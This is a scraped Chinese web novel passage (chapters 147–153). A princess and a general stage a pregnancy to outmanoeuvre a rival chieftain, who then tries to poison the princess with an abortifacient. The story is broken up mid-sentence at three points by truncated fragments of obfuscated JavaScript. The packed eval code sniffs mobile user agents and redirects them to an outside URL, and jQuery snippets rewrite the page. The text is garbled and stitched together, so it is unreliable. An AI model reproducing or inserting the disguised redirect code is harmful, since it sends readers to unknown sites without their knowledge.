d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666428|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风雪更大了,很快便吞噬了苏木远去的身影。 苏木相信虽然他表面上义正言辞,但实际上已经听进去了自己的挑拨离间。 只要黎音袅离开,近水楼台先得月自己能跟他朝夕相处指定能拿下她。 江令舟独自站在帐外,寒风吹动他玄色的披风。他抬手,轻轻按了按怀中画卷的位置。 苏木的警告言犹在耳,北疆的局势,确实如她所言,波诡云谲。但他与黎音袅,早已习惯了在风口浪尖上并肩而行。 他转身,重新走入帅帐。 帅帐内的炭火烧得正旺,驱散了帐外的酷寒。 江令舟踏入时,黎音袅正对一面光洁的铜镜卸去钗环。暖黄的烛光映在她素净的脸庞上,少了几分平日的雍容,多了几分柔和。她从镜中看见他进来,动作微微一顿。 “回来了。”她的声音平静,听不出太多情绪。 最近北疆局势紧张,黎音袅也失去了昔日的阳光,她需要尽快想办法拜托困境。 曾经喷涌而出的好主意,入金如同北疆的天气,冻的不转了。 他走到她身后,看着镜中的她,也看着镜中自己略显风霜的脸。 “苏木…她提了什么条件?”黎音袅放下手中的玉梳,轻声问。帐外风雪呼啸,帐内却因这几句问话,气氛陡然凝滞。 江令舟从怀中取出那份苏木留下的羊皮卷,上面用北境部落的文字写着些什么。他没有立刻递过去,而是先开口,声音沉稳:“她的言语,你不必放在心上。” 他怕自己心爱的妻子受到一点伤害。 黎音袅抬眸,透过铜镜与他对视。 他将羊皮卷递到她面前,却在她伸手欲接,指尖将触未触之际,他突然伸手,覆上她的手背,将其轻轻握住。力道不重,却带着不容忽视的坚持。 “音袅,”他凝视着她,一字一句,“无论她写了什么,说了什么,你只需记住一件事——我信你。” 第148章不如成真 这三个字,如同最温暖的火焰,瞬间驱散了黎音袅心底因苏木而起的最后一丝阴霾。她心中最柔软的一处蓦地一颤,反手,紧紧握住了他微凉的手腕。那份信任,比任何山盟海誓都来得厚重,也比任何辩解都更有力量。 她没有去看那羊皮卷,仿佛那上面的内容已然无关紧要。 “苏木此人,野心勃勃,所图甚大。”黎音袅垂下眼睫,片刻后复又抬起,眸中闪过一丝决然,“她想看到的,无非是北疆动荡,你我失和,好让她从中渔利。” 江令舟颔首:“她确实是这个意图。” “我倒有个办法。”黎音袅忽然开口,声音不高,却带着一种破釜沉舟的意味。 江令舟看着她,等待下文。 她脸颊上泛起一抹极淡的红晕,或许是因炭火,或许是因接下来要说的话。她微微侧过脸,避开他过于直接的注视,声音也低了几分:“苏木无非是拿子嗣之事做文章,攻讦我身为长公主,却久无所出,恐北疆人心不稳。既然如此……” 她停顿了一下,似乎在斟酌,又似乎在鼓足勇气。 “假孕,或许能解一时之困。但终究是欺君之罪,亦非长久之计。”江令舟接口,他明白她的顾虑。 “不错。”黎音袅深吸一口气,终于抬头,直视他的双眼,那双总是清冽的眸子里此刻燃烧着一种孤注一掷的光芒,“假孕……不如成真。” 江令舟闻言,身体几不可察地一震。他看着她,似乎想从她脸上找出哪怕一丝玩笑的意味,却只看到了全然的认真与一种不容退缩的坚定。 “成真?”他重复了一遍,声音有些微的沙哑。 “如此,既不算欺君,又能真正稳住北疆那些蠢蠢欲动的部落之心。”黎音袅继续道,她的思路清晰无比,“一个拥有江家血脉,又能代表长公主府的孩子,对他们而言,是最好的定心丸。让他们明白,朝廷对北疆的掌控,只会更加稳固。” 她顿了顿,脸上的红晕更深了些,声音也愈发轻细:“至于孩子……日后,日后再从长计议。” 那句“日后再从长计议”,像是一片羽毛,轻轻搔刮在江令舟心上。他明白这其中的分量,也明白她此刻说出这番话,需要多大的勇气。这不仅仅是一个策略,更是一个女子,将自己未来的命运,与家国天下,与他,更紧密地捆绑在了一起。 帐内一时寂静,只余下炭火偶尔爆开的噼啪声。 江令舟看着她,看着她因紧张而微微抿起的唇,看着她眼底深处那一抹不易察觉的忐忑与期盼。他原以为自己早已习惯了她冷静果决、运筹帷幄的模样,却在此刻,窥见了她内心深处属于女子的柔软与孤勇。 他愣了愣,随即,唇边漾开一个极淡、却真实的笑容。那笑容驱散了他眉宇间的疲惫与冷硬,如同冰雪初融。 他伸出手,指尖轻轻拂过她微微泛红的耳尖,那里的肌肤细腻而微烫。 “好。”他的声音低沉而温柔,带着一种全然的包容与认同,“都依你。” 没有过多的询问,没有犹豫,只有全然的信任与支持。 黎音袅紧绷的肩线,在听到他这句话后,不自觉地松缓下来。她长长地吁出一口气,仿佛卸下了千斤重担。 “只是,”江令舟握住她的手,十指相扣,“此事非同小可。一旦开始,便没有回头路。宫中耳目众多,北疆各部也非易与之辈。” “我明白。”黎音袅点头,“正因如此,才要‘成真’。真的东西,才最不容易露出破绽。”她反握住他的手,“此事,需得周详计划。对外宣称有孕的时机,稳婆的人选,以及……如何让那些部落首领们相信,都得细细考量。” 江令舟沉吟:“军医之中,有我信得过之人。至于部落那边,苏木今日虽退,但她绝不会善罢甘休。我们需得在她再次发难之前,将此事坐实。” “她今日看似认输,实则不过是缓兵之计。”黎音袅对此洞若观火,“她言语中对我与你的情意颇有不屑,大约是认定我们之间,利益大于情分。她越是如此想,我们行事便越能出其不意。” 江令舟看着她,心中涌起一股暖流。他何尝不知,他 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江令舟松开她,这才将那份一直被他捏在手中的羊皮卷,重新递到她面前。 黎音袅接过,却没有立刻展开细看,只是随意扫了一眼,便将其放在一旁的小几上,仿佛那上面的字句,已然失去了原有的分量。 “苏木的条件,无非是要我们让出更多草场,或是减少驻军。”她语气平淡,“这些,在我们新的计划面前,都只是细枝末节了。” 江令舟点头,他知道,此刻,她心中已有了更重要的棋局。 他拿起那卷羊皮,随手扔进了燃烧的炭盆之中。滋啦一声,羊皮卷曲,很快被火焰吞噬,化为灰烬。 正如苏木那些试图离间的言语,终究也会烟消云散。 黎音袅看着跳动的火焰,眸光幽深。 江令舟重新执起她的手,触手微凉。他用自己的掌心包裹住,试图传递一些暖意。 “睡吧。”他轻声道,“明日,还有许多事。” 黎音袅颔首,卸下了所有防备与伪装。 第149章气息交融 帐内烛火被风雪吹得摇曳,光影在相拥的两人身上晃动。 黎音袅蜷缩在江令舟怀中,头枕着他坚实的胸膛,清晰听见他心跳如鼓,一声声,沉稳而有力,奇异地安抚了她因连日筹谋而紧绷的心绪。帐外是北疆永无休止的呼啸风雪,帐内却只有彼此的呼吸与暖意。 他温热的指尖穿梭在她汗湿的发间,动作轻柔。 “怕吗?”江令舟忽而低声问。他的声音带着一丝帐内独有的沙哑,不同于日间号令三军的沉肃。 她没有立刻回答,只是更深地将脸埋进他温暖的肩颈,汲取着熟悉的气息。过了片刻,才闷闷地摇头。 “有你在,便不怕。”她的声音很轻,却透着一股不容置喙的笃定。不怕,或许也不尽然。怕的不是苏木,不是那些虎视眈眈的部落,而是这弥天大谎一旦开始,便再无退路。怕的是,万一…… 江令舟手臂收紧,将她更密实地圈在怀里。“我知道,此事让你费神了。”他叹息,“对外宣称有孕,只是第一步。后续的每一个环节,都需天衣无缝。” “军医那边,你当真能全然信他?”黎音袅微微仰头,看向他的下颌。烛光下,他的轮廓刚毅,却也带着几分难掩的疲惫。她问的不是军医的医术,而是人心。 “赵医官的家人,当年曾受我父亲恩惠,他为人谨慎,口风最紧。”江令舟解释道,“况且,此事若成,于他也是一份功劳。他是个聪明人。” “聪明人,有时也最会权衡利弊。”黎音袅轻声道,“我们的‘利’,须得大过所有‘弊’才行。” “自然。”江令舟应道,“所以,‘成真’才最重要。一个虚假的孕事,破绽太多。我们要让所有人都相信,这腹中……确有其事。” 黎音袅沉默片刻,手指无意识地在他衣襟上画着圈。“那些部落首领,尤其是苏木,她会用尽一切办法来验证。” “她会的。”江令舟道,“所以,从明日起,你便要开始‘害喜’了。” 黎音袅几乎能想象出自己届时“病弱不堪”的模样,不由得牵了牵嘴角:“这倒不难。只是,这戏一演便是数月,将军可要担待我这‘病人’的诸多麻烦了。” “为你,千般麻烦亦是甘愿。”江令舟低头,在她额上印下一吻,“只是委屈了你。” “与北疆安稳,与你我将来相比,这点委屈算什么。”黎音袅抬手,抚上他的脸颊,“我只是在想,苏木今日言语间,对我与你的情意那般不屑,认定我们之间利益交换。她越是如此想,便越会疏于防范我们会有这般‘寻常夫妻’的举动。” 江令舟心中一动:“寻常夫妻……”他咀嚼着这四个字。在这波诡云谲的北疆,在这步步为营的宫闱内外,他们何曾有过真正的寻常? “是啊,”黎音袅轻笑,“寻常夫妻,会期待孩子的降生,会为此喜悦,也会为此担忧。这些,苏木那样的人,是不会懂的。”她顿了顿,“她不懂,我们便要让她‘懂’。” “稳婆的人选,我已经有几个初步的考量。”江令舟转换了话题,声音恢复了几分惯有的沉稳,“都是军中将士的家眷,知根知底,且家中都有长辈在京中,可以作为牵制。” “嗯,”黎音袅应道,“此事不急于一时,需得细细筛选,确保万无一失。待时机成熟,我会亲自见一见。”她的指尖触碰到他胸口的衣料,那下面是温暖的肌肤与强健的心跳。“你说……若我们真的有了孩子……” 她话未说完,江令舟却已了然。他覆上她的手背:“那便是上天最好的恩赐。无论是软肋还是铠甲,都是我们的骨肉血亲。我们会倾尽所有,护他周全。” 帐外的风雪似乎更紧了些,拍打着营帐,发出噼啪的声响。 黎音袅不再言语,只是静静依偎着。这一刻,所有的阴谋算计,所有的朝堂纷争,似乎都隔绝在了这方寸之地外。他们只是黎音袅和江令舟,一对在这风雪夜相互取暖的夫妻。 她想起白日里江令舟问她,怕不怕孩子成为软肋。她当时的回答,带着身为母亲的本能与身为公主的决绝。此刻,那份决绝未减,却多了 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“苏木以为她在第五层,殊不知,我们早已在等她。”黎音袅的声音带着一丝狡黠的笑意。 “她很快就会明白,试图撕裂的信任,只会让纽带更加坚固。”江令舟回应。 这一夜,他们抛开了北疆的阴谋、朝堂的算计,只做世间最寻常的夫妻。帐外风雪越是猛烈,帐内的温度便似乎越高。 江令舟在黑暗中凝视着怀中沉睡的容颜,她卸下了所有防备,眉宇间带着一丝浅浅的倦意,却也透着安稳。 他暗暗在心底发誓,无论前路有多少荆棘坎坷,有多少明枪暗箭,他必护她周全,护他们共同谋划的这个“未来”周全。 这不仅仅是为了她,为了他自己,更是为了这片风雨飘摇的土地,和那些真正期盼安宁的人们。 他轻轻吻了吻她的发顶,将她更紧地拥入怀中。 夜还很长,但天,总会亮的。 第150章不必声张 北疆的风,似乎从未有过真正的停歇。 一月光景,转瞬即逝。北疆的雪开始消融,露出冻土下潜藏的些微绿意,然而这份表面的平静之下,暗流依旧汹涌。 黎音袅倚在铺着厚厚狐裘的软榻上,手中捧着一卷书,却久未翻页。 春禾端着一碗新熬的红枣姜茶进来,轻声道:“公主,喝些热的暖暖身子。这几日天时好,雪水化了,寒气反而更重。” 黎音袅接过,指尖触到温热的碗壁。“嗯。” 春禾欲言又止,终是忍不住:“公主,将军已去了前线巡防,随行的军医也一并带走了。只是……婢子瞧着,您这月信,都迟了十余日了,莫不是……” 黎音袅执碗的手几不可察地顿了顿。 孩子…… 她与江令舟曾在那风雪夜帐中低语过这个可能。那时,是期盼,是绸缪,亦带着对未知的忐探。此刻,当这可能真切地悬在头顶,她心中百感交集。 “许是这北疆气候不定,身子尚未完全适应。”黎音袅的声音听不出太多情绪。 春禾却不这么想:“公主,您素来康健,月事也准。这……还是小心为上。要不,婢子去悄悄请个稳婆来看看?” “不必声张。”黎音袅放下茶碗,“军中之事繁杂,江令舟此刻不宜分心。此事,我自有计较。” 她确实有计较。若真有了,这孩子来的时机,实在微妙。他们的计划环环相扣,任何一点意外,都可能导致全盘倾覆。这孩子,会是计划中的变数,还是……新的筹码? 正思忖间,帐外忽地传来一阵急促而压抑的脚步声,极轻,却瞒不过帐内人的耳朵。 春禾面色一紧:“公主?” 黎音袅抬手,示意她稍安勿躁。 片刻,帐帘微动,一道压低的声音在帐外响起:“禀公主,苏木那边……有动静了。”是她安插在苏木身边的暗桩传回的消息。 黎音袅:“讲。” “苏木首领的亲信探子方才急报,称……称公主您疑似有孕,江将军已派人封锁了您的营帐,严禁外人靠近。” 春禾闻言,面露惊色,下意识看向黎音袅的腹部。封锁营帐?将军何时下的令?难道将军早已察觉,并做了安排? 黎音袅唇边却勾起一抹难以捉摸的弧度。江令舟……他总是能想到她前面。这“封锁营帐”的消息,与其说是江令舟的安排,不如说是他们共同计划中的一环,如今,被“恰当”地泄露了出去。 “苏木有何反应?”黎音袅问。 “探子回报,苏木首领听闻后,只是冷笑,说……‘真怀孕了?也好。’随即,她便下令备马,说要亲自来……‘送一份贺礼’。” “贺礼?”春禾倒吸一口凉气,“公主,她定然不怀好意!” “她的‘好意’,我们何曾领受过?”黎音袅缓缓站起身,理了理衣襟,“既然她要来,便让她来。我倒要看看,她这份‘贺礼’,究竟有多‘厚重’。” 她的心绪,因这突如其来的消息而翻涌。若腹中真有动静,苏木此来,便是天赐的危机,也是天赐的良机。 *江令舟,你说我们只做认为对的事。那么,今日我便要看看,这“对的事”,是否能引蛇出洞,一击必中。* 她对春禾道:“去,将我那件大红的披风取来。既然是‘喜事’,总不好太素净。” 春禾忧心忡忡:“公主,万一她真的动手……” “她会动手。”黎音袅打断她,“但谁是猎人,谁是猎物,尚未可知。” 她走到帐门口,掀开厚重的毡帘一角,望向远处苏木营帐的方向。风依旧刮着,带着融雪的寒意,也带着一丝血腥气的预兆。 不过半个时辰,苏木的车驾便已出现在黎音袅营帐之外。没有大张旗鼓的仪仗,只有十数名精悍的武士策马相随,透着一股肃杀之气。 苏木身披黑色狼裘,手持那柄象征权力的狼首权杖,自车驾上下来。她的面容在北疆的风霜下显得有些粗砺,一双眼睛却锐利如鹰。 “黎音袅公主何在?本首领特来道贺。”苏木的声音不高,却极具穿透力,清晰地传进帐内。 春禾紧张地看着黎音袅。 黎音袅却笑了,那笑意不及眼底:“让她进来。” 帐帘被从外面掀开,苏木在一众虎视眈眈的目光中,缓步走入。她的视线如刀子般扫过帐内陈设,最后落在黎音袅身上,在她平坦的小腹处停留了一瞬。 “公主气色瞧着不错,看来传言非虚。” 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苏木唇角勾起一抹冷冽的弧度:“公主爽快。”她亲自接过木匣,一步步走向黎音袅,那沉稳的脚步声,在安静的营帐内如同重锤敲击在人心上。 在距离黎音袅三步之遥时,苏木停下。 “这贺礼,可是我精挑细选,必能让公主……‘印象深刻’。”她说着,缓缓打开了木匣。 匣中并非金银珠宝,亦非绫罗绸缎。 那里面,静静躺着一只制作精巧的婴儿摇篮,小巧玲珑,看似并无不妥。 春禾不明所以,但黎音袅的瞳孔却在看到那摇篮的瞬间,微微一缩。 苏木欣赏着黎音袅细微的表情变化,声音幽幽:“公主可喜欢?这摇篮,是用北疆最上等的桦木所制,轻便又结实。只是……” 她顿了顿,伸手从摇篮底部,抽出了一柄不过三寸长的淬毒短刃,刃身在帐内光线下泛着幽蓝的光。 “只是这工匠粗心,竟将这打磨工具遗落在了里面。万一,伤了未来的小王子或小公主,那可就是本首领的罪过了。”苏木将短刃在指尖把玩,语带双关。 “所以,本首领特地亲自送来,提醒公主,凡事,还是小心为上。毕竟,这北疆之地,意外……总是很多。” 帐内的空气,瞬间凝滞。 第151章 落子散 春禾吓得脸色煞白,几乎要惊呼出声。 黎音袅的面色却在最初的波动后,恢复了平静。她看着苏木手中的短刃,又看看那空空如也的摇篮,忽然轻笑出声。 “首领有心了。”她道,“这礼,我很喜欢。不过,首领似乎算错了一件事。” 苏木眯起眼睛:“哦?愿闻其详。” “这摇篮虽好,”黎音袅伸出纤纤玉指,轻轻一点那摇篮,“却未必用得上。” 苏木动作一滞。 黎音袅站起身,缓步走到苏木面前,与她相隔不过一步之遥,直视着她的眼睛:“谁告诉你,我腹中的,就一定是个需要摇篮的‘软肋’?” 她凑近苏木耳边,用只有两人能听到的声音,一字一句道:“或许,它会是……你的催命符。” 苏木猛地后退一步,握着短刃的手,不自觉地收紧。 帐内余温未散,苏木那带着寒意的身影仿佛还未走远,黎音袅指尖轻触小腹,那里尚未有任何明显的起伏,却已牵动着她所有的心神。方才对苏木的强硬不过是虚张声势,此刻独处,那份忐忑与不安,如同细密的藤蔓,悄然爬满了心间。 “公主,该喝药了。”春禾端着一碗尚冒着热气的汤药进来,眉宇间带着几分忧虑,“您方才与苏木首领那番话,可真是吓坏奴婢了。” 黎音袅接过药碗,入手温热。她低头看着碗中深褐色的药汁,药气混杂着一丝不易察觉的异样,她微微蹙眉,却未多想,只当是安胎药材本身的味道。“无妨,她不敢把我如何。”话虽如此,心中却无半分轻松。苏木那句“意外总是很多”,如同魔咒般萦绕不去。 春禾看着公主的神色,欲言又止:“公主,您真的……” “真的有孕。”黎音袅打断她,语气平静,“此事,暂时不要声张。”她端起药碗,正要饮下,帐外却传来一阵略显急促的脚步声。 与此同时,数十里外的前线,江令舟正与副将商议军情。一名斥候飞马而至,神色慌张:“将军,密报!胡杨部落集结人马,似有异动,正朝我方营帐方向快速移动!” 江令舟面色一凝,霍然起身:“清点人数,即刻回援!”胡杨部落一向与苏木部族交好,此刻异动,绝非偶然。他心头一紧,一种不祥的预感油然而生。 他翻身上马,快马加鞭,心急如焚。黎音袅的身影在他脑海中挥之不去。 行至半途,密林之中,一队人马倏然杀出,为首者正是苏木。她勒马横枪,拦住去路。 “江将军,行色匆匆,这是要去何处?”苏木脸上带着玩味的笑意。 江令舟脸色铁青:“苏木,你敢勾结胡杨部落,意图不轨?” “意图不轨?”苏木轻笑,“将军此言差矣。我不过是听闻公主有喜,特地备下了一份‘厚礼’,想请将军一同观赏罢了。将军不必心急,好戏才刚刚开场,你现在赶回去,岂不错过了最精彩的部分?” “让开!”江令舟怒喝,手中**一振。 苏木却不为所动:“江将军,我劝你还是稍安勿躁。有些事情,急也急不来。你若执意要闯,我这些弟兄,也不是吃素的。”她眼底闪过一丝狠厉,“我给你准备的这份大礼,可得慢慢品尝。”她就是要拖延时间,确保万无一失。 黎音袅的营帐内。 “公主,李夫人求见。”帐外侍女通报。 黎音袅放下药碗:“请她进来。” 李夫人是军中一位老将的遗孀,为人爽朗,与黎音袅也算相熟。她一进帐,便笑道:“听闻公主大喜,特来道贺。哎呀,这营帐里怎么药味这么浓?” 春禾忙解释:“公主近日有些劳累,大夫开了安胎的方子。” 李夫人点点头,目光落在黎音袅手中的药碗上,正要说话,却不知为何脚下微微一绊,惊呼一声,身子向前一倾,恰好撞到了春禾端着托盘的手臂。 “哎呀!”春禾手中的托盘一歪,那碗深褐色的汤药顿时倾覆大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681604|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半,洒落在地毯上,药汁迅速渗透下去。 “李夫人,您没事吧?”黎音袅忙问,心中却是一松,不知为何,她潜意识里对这碗药有些抗拒。 “无事,无事,是我自己不小心。”李夫人摆摆手,目光却被地上那滩药渍吸引。她俯身下去,凑近闻了闻,脸色微微一变。 “这药……”李夫人眉头紧锁,又仔细嗅了嗅药碗边缘残留的药液,“这味道,怎么如此熟悉?” 春禾有些慌张:“李夫人,这只是普通的安胎药……” “不对。”李夫人打断她,神色凝重起来,“这药味,与我当年服用过的落子散,几乎一模一样!” “什么?!”春禾大惊失色。 黎音袅的心,瞬间沉到了谷底。她猛地看向那只被打翻的药碗,碗底隐约可见一层极细的黑色粉末沉淀,方才被药液遮掩,并未察觉。 李夫人叹了口气,眼中闪过一丝悲戚:“当年随先夫征战,环境艰苦,几度有孕都未能保住。其中一次,便是误服了这种药性猛烈的落子散,那气味,我此生不忘。”她看向黎音袅,语气带着后怕:“公主,这药……万万喝不得啊!” 黎音袅只觉得手脚冰凉,一股寒意从心底升起,迅速蔓延至四肢百骸。她有孕的消息,除了贴身的春禾与江令舟,便只有苏木知晓。苏木前脚刚走,后脚这“安胎药”里就掺了落子散。 “苏木……”黎音袅几乎是从牙缝中挤出这两个字,声音带着压抑不住的颤抖。她原以为苏木的“贺礼”只是恐吓,却未料到她竟如此狠毒,手段如此迅速。 若非李夫人意外打翻药碗,若非她恰好识得这药味……后果不堪设想。 黎音袅扶着桌案,才勉强稳住身形。她看着地上那滩深色的药渍,仿佛看到的不是药,而是自己险些流逝的骨肉。 “苏木,你当真以为,能如此轻易得手么?”她喃喃自语,眼中没有了方才的忐忑,取而代之的是一片冰冷的决绝。 第152章安然无恙 苏木的亲信探子跌跌撞撞闯入帐中,单膝跪地时几乎带翻了烛台:“首领!那碗落子散……被李夫人撞翻了!长公主一口未喝!” 烛火晃动,映着苏木脸上骤然凝固的血色。她未动,帐内静得能听见探子粗重的喘息,以及他牙齿不受控制的磕碰声。 “再说一遍。”苏木的声音不高,却似淬了冰。 探子喉咙发紧,强忍着颤栗,一字一句重复:“李、李夫人意外撞翻药碗……长公主,安然无恙。” 砰! 苏木手中的狼首权杖猛地砸在毡帐的立柱上,杖首镶嵌的红宝石迸出细密的裂纹,碎屑飞溅。权杖的震颤顺着手臂传上来,她却浑然不觉。 “废物!”她终于开口,声音陡然拔高,带着压抑不住的怒火,“一群成事不足败事有余的废物!” 她猛地转身,裙摆旋起一阵厉风。羊皮靴尖重重碾过脚边一个不慎掉落的药包,棕褐色的安胎药渣被碾得粉碎,与地毯的纹路混杂一处,分外刺目。那本是她计划中的一环,如今却成了无声的嘲讽。 “江令舟呢?”苏木厉声问道,眼底寒光闪烁,“他可曾回到营帐?可曾察觉异样?” 探子身子一抖,头垂得更低,声音带着绝望的嘶哑:“江将军他……他……” “说!”苏木呵斥。 “江将军并未回长公主营帐!”探子急促道,“他、他直接带人冲着我们这边来了!我们的人在半路设了三道防线阻拦,可……可是……” “可是什么?”苏木逼近一步,影子将探子完全笼罩。 “可是都被他冲破了!”探子声音发抖,几乎要哭出来,“将军他……他像是疯了一样,已经、已经斩了我们三名弟兄!弟兄们……快拦不住了!他……他就要杀过来了!” 苏木咬紧了牙,指甲深深掐入掌心,留下几道血痕。她千算万算,算准了黎音袅的谨慎,算准了她身边人的忠诚度,甚至算好了江令舟可能有的反应时间。 她唯独没有算到,一个不相干的李夫人会突然出现。更没有算到,那碗她亲自盯着调配、确保药效万无一失的落子散,竟会以如此荒诞的方式失手。 “李夫人……”苏木低声念着这个名字,语气中透着一股森然的冷意。一个她从未放在心上过的人物,竟成了她完美计划中最大的变数。 帐外,夜风呼啸,隐约传来金铁交击之声,还有战马急促的嘶鸣与人的怒吼。那声音越来越近,仿佛就在耳畔。 江令舟的怒火,已经烧到了她的门前。 探子抖得更厉害了:“首领,我们……我们现在怎么办?要不要先撤……” 苏木没有理会他。她侧耳倾听着帐外的动静,那混乱的厮杀声中,有一道尤为突出的、充满暴戾气息的咆哮,无疑属于江令舟。 “他倒是来得快。”苏木扯了扯嘴角,那笑容却比哭还难看,“比我想象的,还要快一些。” 她原以为,江令舟就算察觉不对,也会先去确认黎音袅的安危,再调集兵马。没想到,他竟如此不顾一切,单凭一股怒气就直冲她的主帐而来。 这份“惊喜”,当真不小。 “首领?”探子见她久久不语,只盯着帐外,心中愈发恐惧。 苏木缓缓抬手,示意他噤声。她走到帐门口,掀开厚重的毡帘一角,向外望去。火光之下,人影攒动,刀剑寒光闪烁,厮杀声震耳欲聋。她的亲卫正在拼死抵抗,但显然节节败退。 一道魁梧的身影,如入无人之境,手中**翻飞,每一次挥动都带起一片血雨。 江令舟。 他猩红着双眼,发髻散乱,铠甲上沾满了血污,不知是敌人的,还是他自己的。那股滔天的杀气,即便隔着一段距离,苏木也能清晰感觉到。 “传令下去,”苏木放下毡帘,声音恢复了惯有的冷静,只是那冷静之下,暗流汹涌,“让所有还能动的人,都到中军帐前集结。告诉他们,死守。” 探子一愣:“首领,我们的人手……恐怕挡不住太久……” “挡不住也要挡。”苏木打断他,语气不容置喙,“他江令舟要来,就让他来。我倒要看 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黎音袅迎上他几欲噬人的凶戾,轻轻摇头:“我没事。多亏了李夫人,她打翻了药碗,发现里面……里面是落子散。” “落子散?”江令舟的声音陡然沙哑,每个字都像是从齿缝中挤出,带着血腥气。他几乎不敢想象,若是音袅喝下了那碗药……不,他不能想!那后果,他承受不起,也绝不容许发生! 他猛地转身,猩红的眼死死盯住帐外苏木主帐的方向,那里,火光冲天,厮杀声依旧激烈。手中**“锵”的一声,被他狠狠插入身侧地面,枪身嗡鸣不止,如同他此刻压抑不住的杀意。 “苏木!”他一字一顿,声音低沉得可怕,“我要她整个部落,为我的孩儿,为音袅,陪葬!” 他的孩儿……江令舟的心像是被一只无形的手攥紧,又酸又胀。他还未曾感受过那小生命的存在,苏木那个毒妇,就想将其扼杀! 第153章冷静 帐内空气仿佛凝固,连灯火跳动的声音都清晰可闻。春禾早已吓得面无人色,悄无声息地躬身退了出去,将空间留给这对刚从生死边缘挣扎回来的夫妻。 只剩下黎音袅与江令舟。 他胸膛剧烈起伏,粗重的呼吸声在寂静的帐内回荡。甲胄上的血迹已经凝成暗褐色,散发着浓重的铁锈味,混杂着他身上悍然的杀气,几乎令人窒息。 黎音袅看着他紧握的**,枪杆因他用力而微微颤抖。她伸出手,想去碰碰他,却又有些迟疑。此刻的江令舟,像一头濒临失控的凶兽,任何一点触碰,都可能引爆他体内积蓄的狂怒。 “令舟……”她终于还是轻声开口,声音带着一丝不易察觉的颤抖,“你……你先冷静些。” 江令舟猛地回首,那双布满血丝的眼睛看得黎音袅心头发紧。“冷静?”他低吼,声音里充满了暴戾与后怕,“你叫我如何冷静?音袅,你知道吗?我方才冲过来的时候,满脑子都是你出事的样子!我怕,我真的怕……” 他高大的身躯微微晃动了一下,那股无往不胜的强悍气势,此刻竟透出了一丝脆弱。 黎音袅心中一痛,快步上前,不顾一切地握住了他冰冷的手甲:“我知道,我都知道。但我现在好好的,我们的孩子……孩子也安然无恙。”她顿了顿,加重了语气,“是李夫人,她救了我们。” “李夫人?”江令舟的怒火稍敛,眉头却拧得更紧,“哪个李夫人?”他对这个名字毫无印象。在他的认知里,这营中,除了苏木的人,便是他带来的人,何来一个能在这关键时刻伸出援手的“李夫人”? “是……是之前被苏木扣押的降将遗孀。”黎音袅解释道,“苏木许是想用她来试探我,便让她来伺候。她是个好人,心细如发,若不是她……” 若不是她,此刻她与腹中的孩子,恐怕早已化作一滩血水。 江令舟沉默了。他不是不知感恩之人,但此刻,苏木的恶行占据了他所有的心神。“她会有应得的赏赐。”他沉声道,随即话锋一转,重新落回了苏木身上,“但苏木,必须死!她麾下的那些助纣为虐之徒,一个都别想活!” 他眼中的杀意再次翻涌,比方才更加浓烈。那不仅仅是愤怒,更有一种玉石俱焚的决绝。 “令舟,苏木固然该死,但她的部落……”黎音袅有些担忧。她并非圣母心肠,只是不愿看到江令舟因一时之怒,造下无边杀孽,将来为人诟病。 “妇人之仁!”江令舟打断她,语气强硬,“音袅,你可知落子散的歹毒?那是**的**!她敢对你用这种手段,就是没把我们放在眼里,没把大楚的颜面放在眼里!今日若不斩草除根,来日必成心腹大患!” 他并非嗜杀,但在牵涉到黎音袅和他们未出世的孩子时,任何的仁慈都是对自己的残忍。 “我不是要你放过他们。”黎音袅轻叹,握着他的手紧了紧,“我只是……只是不希望你被仇恨蒙蔽了双眼。苏木的主帐就在那里,她跑不了。但我们,不能让自己也变成滥杀无辜的恶魔。” 江令舟看着她,她眼中没有指责,只有深深的忧虑和关切。那份柔情,像一汪清泉,试图浇熄他心中熊熊燃烧的怒火。 他胸中的暴戾气息稍稍平复了一些,但杀意未减分毫。“我自有分寸。”他声音依旧冰冷,“首恶必诛,胁从者……若他们负隅顽抗,也休怪我**无情!” 他抽出插入地面的**,枪尖的寒光映着他铁青的脸。 “你在这里等我。”江令舟的声音不带一丝温度,“待我取了苏木的人头,再来与你细说。” 黎音袅张了张口,想说什么,最终只是化作一句:“万事小心。” 江令舟不再多言,转身大步向帐外走去。 黎音袅伸手,覆上江令舟紧握**的手背,那金属的寒意透过她的掌心,直抵心房。她能清晰感觉到他皮肉之下,每一束肌肉都绷紧如铁,每一根青筋都在为即将到来的杀戮而鼓噪。 “令舟,”她轻唤,声音带着一丝不易察觉的颤,“你若此刻提兵,便是正中苏木下怀。她就是要激你失控,引你踏入她预设的战场,最好是能让你在怒火中失去理智,进而引发整个北疆的战乱。” 江令舟猛地侧过头,猩红的眼底翻滚着惊涛骇浪。他喉结剧烈滚动,声音嘶哑得像是从胸腔最深处挤压出来:“那我的孩子……她竟敢对我的孩子……”一想到那未曾谋面的骨肉险些化为乌有,他的心便如被万千钢针攒刺。 “孩子无事。”黎音袅打断他,语气带着不容置喙的肯定。她引着他那只冰冷僵硬的大手,轻轻按在自己尚平坦的小腹之上。那里,隔着衣料,并没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 